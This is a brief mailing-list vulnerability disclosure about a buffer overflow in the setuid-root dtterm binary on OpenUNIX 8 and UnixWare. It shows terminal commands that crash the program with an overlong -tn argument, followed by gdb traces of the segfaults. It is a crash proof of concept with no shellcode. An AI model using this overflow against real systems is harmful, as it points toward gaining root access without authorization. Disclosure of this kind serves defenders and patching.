OpenUNIX 8 & Unixware possible local root

[Aycan Irican <aycan () mars prosoft com tr>]

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Another dt series bug...

$ uname -a 
OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5 
$ id 
uid=101(fixxxer) gid=1(other) 
$ ls -al /usr/dt/bin/dtterm 
- -r-sr-xr-x 1 root bin 60892 Haz 10 05:03 
/usr/dt/bin/dtterm 
$ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'` 
Warning: Missing charsets in String to FontSet conversion 
Warning: Missing charsets in String to FontSet conversion 
Memory fault 

 # /usr/gnu/bin/gdb /usr/dt/bin/dtterm 
(no debugging symbols found)... 
(gdb) set args -tn `perl -e 'print "A"x1040'` 
(gdb) run 
Starting program: /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'` 
(no debugging symbols found)...(no debugging symbols found)... 
... 
.. 
[New LWP 2] 

 Program received signal SIGSEGV, Segmentation fault. 
0xbff9a4b8 in strncmp () from /usr/lib/libc.so.1 
[New Thread 1] 
(gdb)set args -tn `perl -e 'print "A"x1042'` 
(gdb) run 
Starting program: /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1042'` 
(no debugging symbols found)...(no debugging symbols found)... 
[New LWP 2] 

 Program received signal SIGSEGV, Segmentation fault. 
0xbff3abca in _mergeEnv () from /usr/dt/lib/libDtTerm.so.1 
[New Thread 1] 
(gdb)q 

self-explained...
enjoy... 

- -- 
Aycan İrican
Systems Engineer
Prosoft Communication Systems Ltd.
Resit Galip Cad. 85/2 Gaziosmanpaşa 06700 Ankara
Tel:+90-312-446-6616 Fax:+90-312-446-2423
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